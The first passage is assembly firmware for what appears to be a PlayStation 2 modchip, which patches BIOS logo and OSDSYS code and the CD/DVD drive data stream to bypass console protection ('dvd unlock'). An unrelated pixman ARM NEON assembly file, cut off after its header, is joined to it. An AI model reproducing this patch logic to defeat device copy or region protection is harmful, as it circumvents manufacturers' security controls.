0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$40 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$10 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 ;;;;;;;;;;;;;;;;;;;; PVD_V0_SYNC_L0 sb IO_BIOS_OE jmp PVD_V0_SYNC_L0 PVD_V0_L1 snb IO_BIOS_OE jmp PVD_V0_L1 decsz VAR_DC1 jmp PVD_V0_SYNC_L0 PVD_V0_SYNC_L1 sb IO_BIOS_OE jmp PVD_V0_SYNC_L1 PVD_V0_PATCH1 snb IO_BIOS_OE jmp PVD_V0_PATCH1 mov w,#$08;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w ; call BIOS_WAIT_OE_LO_P10 ;;; ; mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$e0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 END_PVD_V0_PATCH1 sb IO_BIOS_OE jmp END_PVD_V0_PATCH1 mov w,#$ff mov !IO_BIOS_DATA,w Load8skip mov w,#11;11;10;$7 ; skip 8 right mov VAR_DC1,w ;;sram load side V0_BIOS_OSDSYS ; clr fsr snb IO_BIOS_OE jmp V0_BIOS_OSDSYS nop mov w,#$70 ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V0_BIOS_OSDSYS call BIOS_WAIT_OE_LO_P10 mov w,#$0A ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp V0_BIOS_OSDSYS call BIOS_WAIT_OE_LO_P10 ;; 70 0a 08 mov w,#$08 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$0C ;ascii 1 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 ; sb z ;skip next line if doesnt = 0 meaning is 1 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$2D ;ascii 2 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 ; sb z ;skip next line if doesnt = 0 meaning is 2 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$28 ;ascii 5 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 ; sb z ;skip next line if doesnt = 0 meaning is 5 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$0 ;ascii 2 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 ; sb z ;skip next line if doesnt = 0 meaning is 2 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$02 ;ascii 5 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 ; sb z ;skip next line if doesnt = 0 meaning is 5 ascii ; jmp V0_BIOS_OSDSYS ; mov w,#15;$7 ; skip 8 ; mov VAR_DC1,w ; nop BIOS_V0_SYNC_L0 sb IO_BIOS_OE jmp BIOS_V0_SYNC_L0 BIOS_V0_L1 snb IO_BIOS_OE jmp BIOS_V0_L1 decsz VAR_DC1 jmp BIOS_V0_SYNC_L0 BIOS_V0_L2 sb IO_BIOS_OE jmp BIOS_V0_L2 BIOS_V0_PATCH1 snb IO_BIOS_OE jmp BIOS_V0_PATCH1 mov w,#$0;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w ; call BIOS_WAIT_OE_LO_P10 ;;; ; mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 ;;; test values for sniff 01 01 f2 44 should all be 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 END_BIOS_V0_PATCH1 sb IO_BIOS_OE jmp END_BIOS_V0_PATCH1 mov w,#$ff mov !IO_BIOS_DATA,w page $0E00 jmp V0_CONSOLE_CDDVD_START ;sleep snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START ; snb V12LOGO_FLAG ; page $0400 ; jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO org $0A00 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P0A ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P0A ret V0_logo snb IO_BIOS_OE jmp V0_logo nop mov w,#$4e ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V0_logo call BIOS_WAIT_OE_LO_P0A mov w,#$12 ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp V0_logo call BIOS_WAIT_OE_LO_P0A mov w,#$08 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo call BIOS_WAIT_OE_LO_P0A mov w,#$08 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$04 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo jmp LOGO_V0_DCLOAD ;;;;;;;;;;;;;;;;; call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$0 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo V0_logo_p2 call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$40 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo_p2 call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$ac ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo_p2 LOGO_V0_DCLOAD mov w,#2;$7 ; skip 37 right? mov VAR_DC1,w LOGO_V0_PATCH snb IO_BIOS_OE jmp LOGO_V0_PATCH0 LOGO_V0_PATCH0 sb IO_BIOS_OE jmp LOGO_V0_PATCH0 decsz VAR_DC1 jmp LOGO_V0_PATCH ;LOGO_V0_PATCH00 ;snb IO_BIOS_OE ;jmp LOGO_V0_PATCH00 LOGO_V0_PATCH1 snb IO_BIOS_OE jmp LOGO_V0_PATCH1 mov w,#$20;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w ; call BIOS_WAIT_OE_LO_P0A ;;; ; mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$38 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$11 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$60 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$90 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$90 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$63 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$26 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$82 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$fb mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$61 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$04 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e7 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$2e mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$22 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$92 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$2f mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$23 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$92 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$26 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$10 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$43 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$1a mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$13 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$43 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$55 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$5f mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$28 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$04 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$84 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$28 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$23 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$fc mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$63 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$58 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$04 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$84 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$28 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$23 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$30 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$22 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$c7 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a7 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$63 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$f9 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$42 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$f0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$40 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$1c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$b2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$8e mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A END_LOGO_V0_PATCH1 sb IO_BIOS_OE jmp END_LOGO_V0_PATCH1 mov w,#$ff mov !IO_BIOS_DATA,w page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP page $0C00 jmp Load8skip_logo org $0C00 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P0C ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P0C ret Load8skip_logo mov w,#11;11;10;$7 ; skip 8 right mov VAR_DC1,w ;;sram load side V0_logofix ; clr fsr snb IO_BIOS_OE jmp V0_logofix nop mov w,#$18 ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V0_logofix call BIOS_WAIT_OE_LO_P0C mov w,#$0 ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp V0_logofix call BIOS_WAIT_OE_LO_P0C ;; 70 0a 08 mov w,#$c7 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logofix call BIOS_WAIT_OE_LO_P0C ;; 70 0a 08 mov w,#$0 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logofix V0_logofix_L0 sb IO_BIOS_OE jmp V0_logofix_L0 V0_logofix_L1 snb IO_BIOS_OE jmp V0_logofix_L1 decsz VAR_DC1 jmp V0_logofix_L0 V0_logofix_L2 sb IO_BIOS_OE jmp V0_logofix_L2 V0_logofix_patch snb IO_BIOS_OE jmp V0_logofix_patch mov w,#$64;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C mov w,#$13 ;;; test values for sniff 01 01 f2 44 should all be 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C end_V0_logofix_patch sb IO_BIOS_OE jmp end_V0_logofix_patch mov w,#$ff mov !IO_BIOS_DATA,w page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP org $0E00 ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA_v0 ;-------------------------------------------------------------------------------- jmp pc+w retw $0 ; 1 retw $02 ; 2 retw $0 ; 3 retw $80 ; 4 retw $0 ; 5 retw $80 ; 6 V0_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w V0_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V0_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,re mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$FF mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V0_AND_BYTE_SYNC1_L1 V0_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q ;want byte 10 after FF FF FF FF or reloop (fixed ps2 dvd unlock run) jmp V0_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,re mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$10 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_AND_BYTE_SYNC1_L1 V0_CONSOLE_string_sync mov w,#3 mov VAR_DC1,w V0_AND_BYTE_SYNC1_L1_sync snb IO_CDDVD_OE_A_1Q ;wait sync byte 5F FF FF 3x in row jmp V0_AND_BYTE_SYNC1_L1_sync clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,re mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$5F mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_string_sync V0_AND_BYTE_SYNC1_L1_sync1 snb IO_CDDVD_OE_A_1Q jmp V0_AND_BYTE_SYNC1_L1_sync1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,re mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$FF mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_string_sync V0_AND_BYTE_SYNC1_L1_sync2 snb IO_CDDVD_OE_A_1Q jmp V0_AND_BYTE_SYNC1_L1_sync2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,re mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$FF mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_string_sync decsz VAR_DC1 jmp V0_AND_BYTE_SYNC1_L1_sync preload_var clr w ; start 0 as universal run mov VAR_DC2,w mov w,#6 ;6 of bytes to patch after first preloaded total 7 mov VAR_DC3,w mov w,#$03 mov re,w ;first byte preload ready for in to out change patchv0mech snb IO_CDDVD_OE_A_1Q jmp patchv0mech clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,#$1f mov m,w mov w,#$0 ; re goes output mov !re,w RUN_v0patch1 mov w,VAR_DC2 call CDDVD_PATCH_DATA_v0 RUN_CDDVD_PATCH_v0 snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_v0 mov re,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_v0patch1 postpatchv0mecha snb IO_CDDVD_OE_A_1Q jmp postpatchv0mecha mov w,#$ff mov !re,w page $0A00 jmp V0_logo ENDIF end
2003scape/rsc-c	12,846	org.scape2003.mudclient/app/jni/SDL/src/video/arm/pixman-arm-neon-asm.S	/* * Copyright © 2009 Nokia Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice (including the next * paragraph) shall be included in all copies or substantial portions of the * Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. * * Author: Siarhei Siamashka (siarhei.siamashka@nokia.com) / / * Copyright (c) 2018 RISC OS Open Ltd * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must not * claim that you wrote the original software. If you use this software * in a product, an acknowledgment in the product documentation would be * appreciated but is not required. * 2. Altered source versions must be plainly marked as such, and must not be * misrepresented as being the original software. * 3. This notice may not be removed or altered from any source distribution. / / Prevent the stack from becoming executable for no reason... / #if defined(__linux__) && defined(__ELF__) .section .note.GNU-stack,"",%progbits #endif .text .fpu neon .arch armv7a .object_arch armv4 .eabi_attribute 10, 0 / suppress Tag_FP_arch / .eabi_attribute 12, 0 / suppress Tag_Advanced_SIMD_arch / .arm .altmacro .p2align 2 #include "pixman-arm-asm.h" #include "pixman-arm-neon-asm.h" / Global configuration options and preferences / / * The code can optionally make use of unaligned memory accesses to improve * performance of handling leading/trailing pixels for each scanline. * Configuration variable RESPECT_STRICT_ALIGNMENT can be set to 0 for * example in linux if unaligned memory accesses are not configured to * generate.exceptions. / .set RESPECT_STRICT_ALIGNMENT, 1 / * Set default prefetch type. There is a choice between the following options: * * PREFETCH_TYPE_NONE (may be useful for the ARM cores where PLD is set to work * as NOP to workaround some HW bugs or for whatever other reason) * * PREFETCH_TYPE_SIMPLE (may be useful for simple single-issue ARM cores where * advanced prefetch intruduces heavy overhead) * * PREFETCH_TYPE_ADVANCED (useful for superscalar cores such as ARM Cortex-A8 * which can run ARM and NEON instructions simultaneously so that extra ARM * instructions do not add (many) extra cycles, but improve prefetch efficiency) * * Note: some types of function can't support advanced prefetch and fallback * to simple one (those which handle 24bpp pixels) / .set PREFETCH_TYPE_DEFAULT, PREFETCH_TYPE_ADVANCED / Prefetch distance in pixels for simple prefetch / .set PREFETCH_DISTANCE_SIMPLE, 64 /****************************************************************************/ / We can actually do significantly better than the Pixman macros, at least for * the case of fills, by using a carefully scheduled inner loop. Cortex-A53 * shows an improvement of up to 78% in ideal cases (large fills to L1 cache). / .macro generate_fillrect_function name, bpp, log2Bpp / * void name(int32_t w, int32_t h, uint8_t dst, int32_t dst_stride, uint8_t src); On entry: * a1 = width, pixels * a2 = height, rows * a3 = pointer to top-left destination pixel * a4 = 